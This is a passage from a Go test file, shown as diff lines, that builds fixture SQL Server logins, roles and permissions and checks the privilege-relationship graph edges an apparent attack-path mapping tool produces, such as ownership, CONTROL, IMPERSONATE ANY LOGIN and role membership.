db.ObjectIdentifier))) + + // Windows database user member of db_datawriter + addWindowsUser(db, "DOMAIN\\EdgeTestDomainUser1", + withDBPrincipalMemberOf(roleMembership("db_datawriter", db.ObjectIdentifier))) + + // Database user without login member of role + addDatabaseUser(db, "MemberOfTest_UserNoLogin", + withDBPrincipalMemberOf(roleMembership("MemberOfTest_DbRole1", db.ObjectIdentifier))) + + // Database role nesting: DbRole1 -> DbRole2 -> db_owner + _ = dbRole1 + for i := range db.DatabasePrincipals { + if db.DatabasePrincipals[i].Name == "MemberOfTest_DbRole1" { + db.DatabasePrincipals[i].MemberOf = append(db.DatabasePrincipals[i].MemberOf, + roleMembership("MemberOfTest_DbRole2", db.ObjectIdentifier)) + } + } + for i := range db.DatabasePrincipals { + if db.DatabasePrincipals[i].Name == "MemberOfTest_DbRole2" { + db.DatabasePrincipals[i].MemberOf = append(db.DatabasePrincipals[i].MemberOf, + roleMembership("db_owner", db.ObjectIdentifier)) + } + } + + // Application role member of database role + addAppRole(db, "MemberOfTest_AppRole", + withDBPrincipalMemberOf(roleMembership("MemberOfTest_DbRole1", db.ObjectIdentifier))) + + return info +} + +func TestMemberOfEdges(t *testing.T) { + info := buildMemberOfTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, memberOfTestCases, "offensive") +} + +// ============================================================================= +// ISMAPPEDTO +// ============================================================================= + +func buildIsMappedToTestData() *types.ServerInfo { + info := baseServerInfo() + + // SQL login with database user in primary DB + sqlLogin := addSQLLogin(info, "IsMappedToTest_SQLLogin_WithDBUser") + + // Windows login mapped to database user + winLogin1 := addWindowsLogin(info, "DOMAIN\\EdgeTestDomainUser1", uniqueSID()) + winLogin2 := addWindowsLogin(info, "DOMAIN\\EdgeTestDomainUser2", uniqueSID()) + + // SQL login without any database user + addSQLLogin(info, "IsMappedToTest_SQLLogin_NoDBUser") + + // Primary database + dbPrimary := addDatabase(info, "EdgeTest_IsMappedTo_Primary") + addDatabaseUser(dbPrimary, "IsMappedToTest_SQLLogin_WithDBUser", + withServerLogin(sqlLogin.ObjectIdentifier, sqlLogin.Name, sqlLogin.PrincipalID)) + addWindowsUser(dbPrimary, "DOMAIN\\EdgeTestDomainUser1", + withServerLogin(winLogin1.ObjectIdentifier, winLogin1.Name, winLogin1.PrincipalID)) + // Orphaned user (no login) + addDatabaseUser(dbPrimary, "IsMappedToTest_OrphanedUser") + + // Secondary database + dbSecondary := addDatabase(info, "EdgeTest_IsMappedTo_Secondary") + addDatabaseUser(dbSecondary, "IsMappedToTest_DifferentUserName", + withServerLogin(sqlLogin.ObjectIdentifier, sqlLogin.Name, sqlLogin.PrincipalID)) + addWindowsUser(dbSecondary, "DOMAIN\\EdgeTestDomainUser2", + withServerLogin(winLogin2.ObjectIdentifier, winLogin2.Name, winLogin2.PrincipalID)) + + return info +} + +func TestIsMappedToEdges(t *testing.T) { + info := buildIsMappedToTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, isMappedToTestCases, "offensive") +} + +// ============================================================================= +// OWNS +// ============================================================================= + +func buildOwnsTestData() *types.ServerInfo { + info := baseServerInfo() + + // Login that owns a database + dbOwnerLogin := addSQLLogin(info, "OwnsTest_Login_DbOwner") + + // Login that owns a server role + roleOwnerLogin := addSQLLogin(info, "OwnsTest_Login_RoleOwner") + + // Login with no ownership + addSQLLogin(info, "OwnsTest_Login_NoOwnership") + + // Server role owned by login + addServerRole(info, "OwnsTest_ServerRole_Owned", + withOwner(roleOwnerLogin.ObjectIdentifier)) + + // Server role that owns another server role + ownerRole := addServerRole(info, "OwnsTest_ServerRole_Owner") + addServerRole(info, "OwnsTest_ServerRole_OwnedByRole", + withOwner(ownerRole.ObjectIdentifier)) + + // Database owned by login + addDatabase(info, "EdgeTest_Owns_OwnedByLogin", + withDBOwner(dbOwnerLogin.Name, dbOwnerLogin.ObjectIdentifier)) + + // Database for role ownership tests + dbRoles := addDatabase(info, "EdgeTest_Owns_RoleTests") + + // Database user that owns a role + roleOwnerUser := addDatabaseUser(dbRoles, "OwnsTest_User_RoleOwner") + addDatabaseRole(dbRoles, "OwnsTest_DbRole_Owned", false, + withDBPrincipalOwner(roleOwnerUser.ObjectIdentifier)) + + // Database role that owns another role + ownerDbRole := addDatabaseRole(dbRoles, "OwnsTest_DbRole_Owner", false) + addDatabaseRole(dbRoles, "OwnsTest_DbRole_OwnedByRole", false, + withDBPrincipalOwner(ownerDbRole.ObjectIdentifier)) + + // Application role that owns a database role + ownerAppRole := addAppRole(dbRoles, "OwnsTest_AppRole_Owner") + addDatabaseRole(dbRoles, "OwnsTest_DbRole_OwnedByAppRole", false, + withDBPrincipalOwner(ownerAppRole.ObjectIdentifier)) + + // Database user without ownership + addDatabaseUser(dbRoles, "OwnsTest_User_NoOwnership") + + return info +} + +func TestOwnsEdges(t *testing.T) { + info := buildOwnsTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, ownsTestCases, "offensive") +} + +// ============================================================================= +// HASLOGIN +// ============================================================================= + +func buildHasLoginTestData() *types.ServerInfo { + info := baseServerInfo() + + // Domain users with SQL logins (enabled, with CONNECT SQL) + addWindowsLogin(info, "DOMAIN\\EdgeTestDomainUser1", uniqueSID()) + addWindowsLogin(info, "DOMAIN\\EdgeTestDomainUser2", uniqueSID()) + + // Domain group with SQL login + addWindowsGroup(info, "DOMAIN\\EdgeTestDomainGroup", uniqueSID()) + + // Computer account with SQL login + addWindowsLogin(info, "DOMAIN\\TestComputer$", uniqueSID()) + + // Sysadmin domain user + addWindowsLogin(info, "DOMAIN\\EdgeTestSysadmin", uniqueSID(), + withMemberOf(roleMembership("sysadmin", testServerOID))) + + // Disabled Windows login + addWindowsLogin(info, "DOMAIN\\EdgeTestDisabledUser", uniqueSID(), + withDisabled()) + + // Windows login with CONNECT SQL denied + noConnectSID := uniqueSID() + info.ServerPrincipals = append(info.ServerPrincipals, types.ServerPrincipal{ + ObjectIdentifier: "DOMAIN\\EdgeTestNoConnect@" + info.ObjectIdentifier, + PrincipalID: uniquePrincipalID(), + Name: "DOMAIN\\EdgeTestNoConnect", + TypeDescription: "WINDOWS_LOGIN", + IsActiveDirectoryPrincipal: true, + SecurityIdentifier: noConnectSID, + SQLServerName: info.SQLServerName, + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "DENY", ClassDesc: "SERVER"}, + }, + }) + + // SQL login (should NOT create HasLogin edge) + addSQLLogin(info, "HasLoginTest_SQLLogin") + + // Local group (BUILTIN) + info.ServerPrincipals = append(info.ServerPrincipals, types.ServerPrincipal{ + ObjectIdentifier: "BUILTIN\\Remote Desktop Users@" + info.ObjectIdentifier, + PrincipalID: uniquePrincipalID(), + Name: "BUILTIN\\Remote Desktop Users", + TypeDescription: "WINDOWS_GROUP", + IsActiveDirectoryPrincipal: false, + SecurityIdentifier: "S-1-5-32-555", + SQLServerName: info.SQLServerName, + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + }, + }) + + return info +} + +func TestHasLoginEdges(t *testing.T) { + info := buildHasLoginTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, hasLoginTestCases, "offensive") +} + +// ============================================================================= +// CONTROLSERVER +// ============================================================================= + +func buildControlServerTestData() *types.ServerInfo { + info := baseServerInfo() + + // Login with CONTROL SERVER permission + addSQLLogin(info, "ControlServerTest_Login_HasControlServer", + withPermissions(perm("CONTROL SERVER", "GRANT", "SERVER"))) + + // Server role with CONTROL SERVER permission + addServerRole(info, "ControlServerTest_ServerRole_HasControlServer", + withPermissions(perm("CONTROL SERVER", "GRANT", "SERVER"))) + + // sysadmin already in base server info (creates ControlServer via fixed role edges) + + return info +} + +func TestControlServerEdges(t *testing.T) { + info := buildControlServerTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, controlServerTestCases, "offensive") +} + +// ============================================================================= +// CONTROLDB +// ============================================================================= + +func buildControlDBTestData() *types.ServerInfo { + info := baseServerInfo() + + db := addDatabase(info, "EdgeTest_ControlDB") + + // Database user with CONTROL on database + addDatabaseUser(db, "ControlDBTest_User_HasControlOnDb", + withDBPrincipalPermissions(perm("CONTROL", "GRANT", "DATABASE"))) + + // Database role with CONTROL on database + addDatabaseRole(db, "ControlDBTest_DbRole_HasControlOnDb", false, + withDBPrincipalPermissions(perm("CONTROL", "GRANT", "DATABASE"))) + + // Application role with CONTROL on database + addAppRole(db, "ControlDBTest_AppRole_HasControlOnDb", + withDBPrincipalPermissions(perm("CONTROL", "GRANT", "DATABASE"))) + + // db_owner fixed role (creates ControlDB via fixed role edges) + addDatabaseRole(db, "db_owner", true) + + return info +} + +func TestControlDBEdges(t *testing.T) { + info := buildControlDBTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, controlDBTestCases, "offensive") +} + +// ============================================================================= +// CONNECT +// ============================================================================= + +func buildConnectTestData() *types.ServerInfo { + info := baseServerInfo() + + // Login with CONNECT SQL permission (already has it from addSQLLogin defaults) + addSQLLogin(info, "ConnectTest_Login_HasConnectSQL") + + // Server role with CONNECT SQL permission + addServerRole(info, "ConnectTest_ServerRole_HasConnectSQL", + withPermissions(perm("CONNECT SQL", "GRANT", "SERVER"))) + + // Login with CONNECT SQL denied + info.ServerPrincipals = append(info.ServerPrincipals, types.ServerPrincipal{ + ObjectIdentifier: "ConnectTest_Login_NoConnectSQL@" + info.ObjectIdentifier, + PrincipalID: uniquePrincipalID(), + Name: "ConnectTest_Login_NoConnectSQL", + TypeDescription: "SQL_LOGIN", + SQLServerName: info.SQLServerName, + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "DENY", ClassDesc: "SERVER"}, + }, + }) + + // Disabled login with CONNECT SQL + addSQLLogin(info, "ConnectTest_Login_Disabled", withDisabled()) + + // Database level + db := addDatabase(info, "EdgeTest_Connect") + + // Database user with CONNECT permission + addDatabaseUser(db, "ConnectTest_User_HasConnect", + withDBPrincipalPermissions(perm("CONNECT", "GRANT", "DATABASE"))) + + // Database role with CONNECT permission + addDatabaseRole(db, "ConnectTest_DbRole_HasConnect", false, + withDBPrincipalPermissions(perm("CONNECT", "GRANT", "DATABASE"))) + + // Database user with CONNECT denied + addDatabaseUser(db, "ConnectTest_User_NoConnect", + withDBPrincipalPermissions(perm("CONNECT", "DENY", "DATABASE"))) + + // Application role (cannot have CONNECT) + addAppRole(db, "ConnectTest_AppRole") + + return info +} + +func TestConnectEdges(t *testing.T) { + info := buildConnectTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, connectTestCases, "offensive") +} + +// ============================================================================= +// CONNECTANYDATABASE +// ============================================================================= + +func buildConnectAnyDatabaseTestData() *types.ServerInfo { + info := baseServerInfo() + + addSQLLogin(info, "ConnectAnyDatabaseTest_Login_HasConnectAnyDatabase", + withPermissions(perm("CONNECT ANY DATABASE", "GRANT", "SERVER"))) + addServerRole(info, "ConnectAnyDatabaseTest_ServerRole_HasConnectAnyDatabase", + withPermissions(perm("CONNECT ANY DATABASE", "GRANT", "SERVER"))) + + // ##MS_DatabaseConnector## is a built-in server role + addServerRole(info, "##MS_DatabaseConnector##", + withPermissions(perm("CONNECT ANY DATABASE", "GRANT", "SERVER"))) + + return info +} + +func TestConnectAnyDatabaseEdges(t *testing.T) { + info := buildConnectAnyDatabaseTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, connectAnyDatabaseTestCases, "offensive") +} + +// ============================================================================= +// CONTROL +// ============================================================================= + +func buildControlTestData() *types.ServerInfo { + info := baseServerInfo() + + // SERVER LEVEL + targetLogin := addSQLLogin(info, "ControlTest_Login_TargetOf_Login_CanControlLogin") + targetLogin2 := addSQLLogin(info, "ControlTest_Login_TargetOf_ServerRole_CanControlLogin") + targetSR := addServerRole(info, "ControlTest_ServerRole_TargetOf_Login_CanControlServerRole") + targetSR2 := addServerRole(info, "ControlTest_ServerRole_TargetOf_ServerRole_CanControlServerRole") + + addSQLLogin(info, "ControlTest_Login_CanControlLogin", + withPermissions(targetPerm("CONTROL", "GRANT", "SERVER_PRINCIPAL", + targetLogin.PrincipalID, targetLogin.ObjectIdentifier, targetLogin.Name))) + addSQLLogin(info, "ControlTest_Login_CanControlServerRole", + withPermissions(targetPerm("CONTROL", "GRANT", "SERVER_PRINCIPAL", + targetSR.PrincipalID, targetSR.ObjectIdentifier, targetSR.Name))) + addServerRole(info, "ControlTest_ServerRole_CanControlLogin", + withPermissions(targetPerm("CONTROL", "GRANT", "SERVER_PRINCIPAL", + targetLogin2.PrincipalID, targetLogin2.ObjectIdentifier, targetLogin2.Name))) + addServerRole(info, "ControlTest_ServerRole_CanControlServerRole", + withPermissions(targetPerm("CONTROL", "GRANT", "SERVER_PRINCIPAL", + targetSR2.PrincipalID, targetSR2.ObjectIdentifier, targetSR2.Name))) + + // DATABASE LEVEL + db := addDatabase(info, "EdgeTest_Control") + + // CONTROL on database + addDatabaseUser(db, "ControlTest_User_CanControlDb", + withDBPrincipalPermissions(perm("CONTROL", "GRANT", "DATABASE"))) + addDatabaseRole(db, "ControlTest_DbRole_CanControlDb", false, + withDBPrincipalPermissions(perm("CONTROL", "GRANT", "DATABASE"))) + addAppRole(db, "ControlTest_AppRole_CanControlDb", + withDBPrincipalPermissions(perm("CONTROL", "GRANT", "DATABASE"))) + + // CONTROL on specific db users + targetDBUser1 := addDatabaseUser(db, "ControlTest_User_TargetOf_User_CanControlDbUser") + targetDBUser2 := addDatabaseUser(db, "ControlTest_User_TargetOf_DbRole_CanControlDbUser") + targetDBUser3 := addDatabaseUser(db, "ControlTest_User_TargetOf_AppRole_CanControlDbUser") + + addDatabaseUser(db, "ControlTest_User_CanControlDbUser", + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + targetDBUser1.PrincipalID, targetDBUser1.ObjectIdentifier, targetDBUser1.Name))) + addDatabaseRole(db, "ControlTest_DbRole_CanControlDbUser", false, + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + targetDBUser2.PrincipalID, targetDBUser2.ObjectIdentifier, targetDBUser2.Name))) + addAppRole(db, "ControlTest_AppRole_CanControlDbUser", + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + targetDBUser3.PrincipalID, targetDBUser3.ObjectIdentifier, targetDBUser3.Name))) + + // CONTROL on specific db roles + targetDBR1 := addDatabaseRole(db, "ControlTest_DbRole_TargetOf_User_CanControlDbRole", false) + targetDBR2 := addDatabaseRole(db, "ControlTest_DbRole_TargetOf_DbRole_CanControlDbRole", false) + targetDBR3 := addDatabaseRole(db, "ControlTest_DbRole_TargetOf_AppRole_CanControlDbRole", false) + + addDatabaseUser(db, "ControlTest_User_CanControlDbRole", + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + targetDBR1.PrincipalID, targetDBR1.ObjectIdentifier, targetDBR1.Name))) + addDatabaseRole(db, "ControlTest_DbRole_CanControlDbRole", false, + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + targetDBR2.PrincipalID, targetDBR2.ObjectIdentifier, targetDBR2.Name))) + addAppRole(db, "ControlTest_AppRole_CanControlDbRole", + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + targetDBR3.PrincipalID, targetDBR3.ObjectIdentifier, targetDBR3.Name))) + + // CONTROL on specific app roles + targetAR1 := addAppRole(db, "ControlTest_AppRole_TargetOf_User_CanControlAppRole") + targetAR2 := addAppRole(db, "ControlTest_AppRole_TargetOf_DbRole_CanControlAppRole") + targetAR3 := addAppRole(db, "ControlTest_AppRole_TargetOf_AppRole_CanControlAppRole") + + addDatabaseUser(db, "ControlTest_User_CanControlAppRole", + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + targetAR1.PrincipalID, targetAR1.ObjectIdentifier, targetAR1.Name))) + addDatabaseRole(db, "ControlTest_DbRole_CanControlAppRole", false, + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + targetAR2.PrincipalID, targetAR2.ObjectIdentifier, targetAR2.Name))) + addAppRole(db, "ControlTest_AppRole_CanControlAppRole", + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + targetAR3.PrincipalID, targetAR3.ObjectIdentifier, targetAR3.Name))) + + return info +} + +func TestControlEdges(t *testing.T) { + info := buildControlTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, controlTestCases, "offensive") +} + +// ============================================================================= +// IMPERSONATEANYLOGIN +// ============================================================================= + +func buildImpersonateAnyLoginTestData() *types.ServerInfo { + info := baseServerInfo() + + // Direct SQL login with IMPERSONATE ANY LOGIN + addSQLLogin(info, "ImpersonateAnyLoginTest_Login_Direct", + withPermissions(perm("IMPERSONATE ANY LOGIN", "GRANT", "SERVER"))) + + // Server role with IMPERSONATE ANY LOGIN + role := addServerRole(info, "ImpersonateAnyLoginTest_Role_HasPermission", + withPermissions(perm("IMPERSONATE ANY LOGIN", "GRANT", "SERVER"))) + + // Windows login with IMPERSONATE ANY LOGIN + addWindowsLogin(info, "DOMAIN\\EdgeTestDomainUser1", uniqueSID(), + withPermissions(perm("IMPERSONATE ANY LOGIN", "GRANT", "SERVER"))) + + // Login without IMPERSONATE ANY LOGIN + addSQLLogin(info, "ImpersonateAnyLoginTest_Login_NoPermission") + + // Login member of the role (should NOT create direct edge) + addSQLLogin(info, "ImpersonateAnyLoginTest_Login_ViaRole", + withMemberOf(types.RoleMembership{ + ObjectIdentifier: role.ObjectIdentifier, + Name: role.Name, + })) + + return info +} + +func TestImpersonateAnyLoginEdges(t *testing.T) { + info := buildImpersonateAnyLoginTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, impersonateAnyLoginTestCases, "offensive") +} + +// ============================================================================= +// ALTERANYSERVERROLE +// ============================================================================= + +func buildAlterAnyServerRoleTestData() *types.ServerInfo { + info := baseServerInfo() + + // Add bulkadmin fixed role + info.ServerPrincipals = append(info.ServerPrincipals, types.ServerPrincipal{ + ObjectIdentifier: "bulkadmin@" + testServerOID, + PrincipalID: uniquePrincipalID(), + Name: "bulkadmin", + TypeDescription: "SERVER_ROLE", + IsFixedRole: true, + SQLServerName: testSQLName, + }) + + // Login with ALTER ANY SERVER ROLE - member of processadmin but not bulkadmin + addSQLLogin(info, "AlterAnyServerRoleTest_Login_HasAlterAnyServerRole", + withPermissions(perm("ALTER ANY SERVER ROLE", "GRANT", "SERVER")), + withMemberOf( + roleMembership("processadmin", testServerOID), + roleMembership("sysadmin", testServerOID), // member of sysadmin for negative test + )) + + // Server role with ALTER ANY SERVER ROLE - member of bulkadmin but not processadmin + addServerRole(info, "AlterAnyServerRoleTest_ServerRole_HasAlterAnyServerRole", + withPermissions(perm("ALTER ANY SERVER ROLE", "GRANT", "SERVER")), + withMemberOf(roleMembership("bulkadmin", testServerOID))) + + // Target user-defined roles + addServerRole(info, "AlterAnyServerRoleTest_TargetRole1") + addServerRole(info, "AlterAnyServerRoleTest_TargetRole2") + + return info +} + +func TestAlterAnyServerRoleEdges(t *testing.T) { + info := buildAlterAnyServerRoleTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, alterAnyServerRoleTestCases, "offensive") +} + +// ============================================================================= +// GRANTANYPERMISSION +// ============================================================================= + +func buildGrantAnyPermTestData() *types.ServerInfo { + info := baseServerInfo() + + // Login member of securityadmin (should NOT have direct GrantAnyPermission edge) + addSQLLogin(info, "GrantAnyPermissionTest_Login_InSecurityAdmin", + withMemberOf(roleMembership("securityadmin", testServerOID))) + + // Regular login with no special permissions + addSQLLogin(info, "GrantAnyPermissionTest_Login_NoSpecialPerms") + + // Database for testing that GrantAnyPermission doesn't leak to db level + db := addDatabase(info, "EdgeTest_GrantAnyPermission") + addDatabaseRole(db, "db_securityadmin", true) + + return info +} + +func TestGrantAnyPermissionEdges(t *testing.T) { + info := buildGrantAnyPermTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, grantAnyPermTestCases, "offensive") +} + +// ============================================================================= +// GRANTANYDBPERMISSION +// ============================================================================= + +func buildGrantAnyDBPermTestData() *types.ServerInfo { + info := baseServerInfo() + + // Primary database with db_securityadmin + db := addDatabase(info, "EdgeTest_GrantAnyDBPermission") + addDatabaseRole(db, "db_securityadmin", true) + addDatabaseRole(db, "db_owner", true) + + // User member of db_securityadmin (should NOT create edge, only db_securityadmin role itself does) + addDatabaseUser(db, "GrantAnyDBPermissionTest_User_InDbSecurityAdmin", + withDBPrincipalMemberOf(roleMembership("db_securityadmin", db.ObjectIdentifier))) + + // Custom role with ALTER ANY ROLE (should NOT create GrantAnyDBPermission edge) + addDatabaseRole(db, "GrantAnyDBPermissionTest_CustomRole_HasAlterAnyRole", false, + withDBPrincipalPermissions(perm("ALTER ANY ROLE", "GRANT", "DATABASE"))) + + // Regular user not in db_securityadmin + addDatabaseUser(db, "GrantAnyDBPermissionTest_User_NotInDbSecurityAdmin") + + // Second database to test cross-db isolation + db2 := addDatabase(info, "EdgeTest_GrantAnyDBPermission_Second") + addDatabaseRole(db2, "db_securityadmin", true) + + return info +} + +func TestGrantAnyDBPermissionEdges(t *testing.T) { + info := buildGrantAnyDBPermTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, grantAnyDBPermTestCases, "offensive") +} + +// ============================================================================= +// ADDMEMBER +// ============================================================================= + +func buildAddMemberTestData() *types.ServerInfo { + info := baseServerInfo() + + // Target server roles + targetSR1 := addServerRole(info, "AddMemberTest_ServerRole_TargetOf_Login_CanAlterServerRole") + targetSR2 := addServerRole(info, "AddMemberTest_ServerRole_TargetOf_Login_CanControlServerRole") + targetSR3 := addServerRole(info, "AddMemberTest_ServerRole_TargetOf_ServerRole_CanAlterServerRole") + targetSR4 := addServerRole(info, "AddMemberTest_ServerRole_TargetOf_ServerRole_CanControlServerRole") + + // Login with ALTER on role -> AddMember + addSQLLogin(info, "AddMemberTest_Login_CanAlterServerRole", + withPermissions(targetPerm("ALTER", "GRANT", "SERVER_PRINCIPAL", + targetSR1.PrincipalID, targetSR1.ObjectIdentifier, targetSR1.Name))) + + // Login with CONTROL on role -> AddMember + addSQLLogin(info, "AddMemberTest_Login_CanControlServerRole", + withPermissions(targetPerm("CONTROL", "GRANT", "SERVER_PRINCIPAL", + targetSR2.PrincipalID, targetSR2.ObjectIdentifier, targetSR2.Name))) + + // Login with ALTER ANY SERVER ROLE -> AddMember to user-defined roles + processadmin (if member) + addSQLLogin(info, "AddMemberTest_Login_CanAlterAnyServerRole", + withPermissions(perm("ALTER ANY SERVER ROLE", "GRANT", "SERVER")), + withMemberOf(roleMembership("processadmin", testServerOID))) + + // ServerRole with ALTER on role -> AddMember + addServerRole(info, "AddMemberTest_ServerRole_CanAlterServerRole", + withPermissions(targetPerm("ALTER", "GRANT", "SERVER_PRINCIPAL", + targetSR3.PrincipalID, targetSR3.ObjectIdentifier, targetSR3.Name))) + + // ServerRole with CONTROL on role -> AddMember + addServerRole(info, "AddMemberTest_ServerRole_CanControlServerRole", + withPermissions(targetPerm("CONTROL", "GRANT", "SERVER_PRINCIPAL", + targetSR4.PrincipalID, targetSR4.ObjectIdentifier, targetSR4.Name))) + + // ServerRole with ALTER ANY SERVER ROLE -> AddMember to user-defined roles + processadmin + addServerRole(info, "AddMemberTest_ServerRole_CanAlterAnyServerRole", + withPermissions(perm("ALTER ANY SERVER ROLE", "GRANT", "SERVER")), + withMemberOf(roleMembership("processadmin", testServerOID))) + + // DATABASE LEVEL + db := addDatabase(info, "EdgeTest_AddMember") + addDatabaseRole(db, "db_securityadmin", true) + addDatabaseRole(db, "ddladmin", true) // Fixed role to test negative case + + // Target database roles + targetDBR1 := addDatabaseRole(db, "AddMemberTest_DbRole_TargetOf_User_CanAlterDbRole", false) + addDatabaseRole(db, "AddMemberTest_DbRole_TargetOf_DbRole_CanAlterDbRole", false) + addDatabaseRole(db, "AddMemberTest_DbRole_TargetOf_DbRole_CanControlDbRole", false) + addDatabaseRole(db, "AddMemberTest_DbRole_TargetOf_AppRole_CanAlterDbRole", false) + addDatabaseRole(db, "AddMemberTest_DbRole_TargetOf_AppRole_CanControlDbRole", false) + addDatabaseRole(db, "AddMemberTest_DbRole_TargetOf_User_CanAlterDb", false) + addDatabaseRole(db, "AddMemberTest_DbRole_TargetOf_DbRole_CanAlterDb", false) + addDatabaseRole(db, "AddMemberTest_DbRole_TargetOf_AppRole_CanAlterDb", false) + + // DatabaseUser with ALTER on role + addDatabaseUser(db, "AddMemberTest_User_CanAlterDbRole", + withDBPrincipalPermissions(targetPerm("ALTER", "GRANT", "DATABASE_PRINCIPAL", + targetDBR1.PrincipalID, targetDBR1.ObjectIdentifier, targetDBR1.Name))) + + // DatabaseUser with ALTER ANY ROLE + addDatabaseUser(db, "AddMemberTest_User_CanAlterAnyDbRole", + withDBPrincipalPermissions(perm("ALTER ANY ROLE", "GRANT", "DATABASE"))) + + // DatabaseUser with ALTER on database + addDatabaseUser(db, "AddMemberTest_User_CanAlterDb", + withDBPrincipalPermissions(perm("ALTER", "GRANT", "DATABASE"))) + + // DatabaseRole with ALTER on role + dbr1 := findDBPrincipal(db, "AddMemberTest_DbRole_TargetOf_DbRole_CanAlterDbRole") + addDatabaseRole(db, "AddMemberTest_DbRole_CanAlterDbRole", false, + withDBPrincipalPermissions(targetPerm("ALTER", "GRANT", "DATABASE_PRINCIPAL", + dbr1.PrincipalID, dbr1.ObjectIdentifier, dbr1.Name))) + + // DatabaseRole with CONTROL on role + dbr2 := findDBPrincipal(db, "AddMemberTest_DbRole_TargetOf_DbRole_CanControlDbRole") + addDatabaseRole(db, "AddMemberTest_DbRole_CanControlDbRole", false, + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + dbr2.PrincipalID, dbr2.ObjectIdentifier, dbr2.Name))) + + // DatabaseRole with ALTER ANY ROLE + addDatabaseRole(db, "AddMemberTest_DbRole_CanAlterAnyDbRole", false, + withDBPrincipalPermissions(perm("ALTER ANY ROLE", "GRANT", "DATABASE"))) + + // DatabaseRole with ALTER on database + addDatabaseRole(db, "AddMemberTest_DbRole_CanAlterDb", false, + withDBPrincipalPermissions(perm("ALTER", "GRANT", "DATABASE"))) + + // ApplicationRole with ALTER on role + dbr3 := findDBPrincipal(db, "AddMemberTest_DbRole_TargetOf_AppRole_CanAlterDbRole") + addAppRole(db, "AddMemberTest_AppRole_CanAlterDbRole", + withDBPrincipalPermissions(targetPerm("ALTER", "GRANT", "DATABASE_PRINCIPAL", + dbr3.PrincipalID, dbr3.ObjectIdentifier, dbr3.Name))) + + // ApplicationRole with CONTROL on role + dbr4 := findDBPrincipal(db, "AddMemberTest_DbRole_TargetOf_AppRole_CanControlDbRole") + addAppRole(db, "AddMemberTest_AppRole_CanControlDbRole", + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + dbr4.PrincipalID, dbr4.ObjectIdentifier, dbr4.Name))) + + // ApplicationRole with ALTER ANY ROLE + addAppRole(db, "AddMemberTest_AppRole_CanAlterAnyDbRole", + withDBPrincipalPermissions(perm("ALTER ANY ROLE", "GRANT", "DATABASE"))) + + // ApplicationRole with ALTER on database + addAppRole(db, "AddMemberTest_AppRole_CanAlterDb", + withDBPrincipalPermissions(perm("ALTER", "GRANT", "DATABASE"))) + + return info +} + +// findDBPrincipal looks up a database principal by name from a database. +func findDBPrincipal(db *types.Database, name string) *types.DatabasePrincipal { + for i := range db.DatabasePrincipals { + if db.DatabasePrincipals[i].Name == name { + return &db.DatabasePrincipals[i] + } + } + return nil +} + +func TestAddMemberEdges(t *testing.T) { + info := buildAddMemberTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, addMemberTestCases, "offensive") +} + +// ============================================================================= +// ALTER +// ============================================================================= + +func buildAlterTestData() *types.ServerInfo { + info := baseServerInfo() + + // SERVER LEVEL + targetLogin := addSQLLogin(info, "AlterTest_Login_TargetOf_Login_CanAlterLogin") + targetLogin2 := addSQLLogin(info, "AlterTest_Login_TargetOf_ServerRole_CanAlterLogin") + targetSR := addServerRole(info, "AlterTest_ServerRole_TargetOf_Login_CanAlterServerRole") + targetSR2 := addServerRole(info, "AlterTest_ServerRole_TargetOf_ServerRole_CanAlterServerRole") + + addSQLLogin(info, "AlterTest_Login_CanAlterLogin", + withPermissions(targetPerm("ALTER", "GRANT", "SERVER_PRINCIPAL", + targetLogin.PrincipalID, targetLogin.ObjectIdentifier, targetLogin.Name))) + addSQLLogin(info, "AlterTest_Login_CanAlterServerRole", + withPermissions(targetPerm("ALTER", "GRANT", "SERVER_PRINCIPAL", + targetSR.PrincipalID, targetSR.ObjectIdentifier, targetSR.Name))) + addServerRole(info, "AlterTest_ServerRole_CanAlterLogin", + withPermissions(targetPerm("ALTER", "GRANT", "SERVER_PRINCIPAL", + targetLogin2.PrincipalID, targetLogin2.ObjectIdentifier, targetLogin2.Name))) + addServerRole(info, "AlterTest_ServerRole_CanAlterServerRole", + withPermissions(targetPerm("ALTER", "GRANT", "SERVER_PRINCIPAL", + targetSR2.PrincipalID, targetSR2.ObjectIdentifier, targetSR2.Name))) + + // DATABASE LEVEL + db := addDatabase(info, "EdgeTest_Alter") + + // ALTER on database + addDatabaseUser(db, "AlterTest_User_CanAlterDb", + 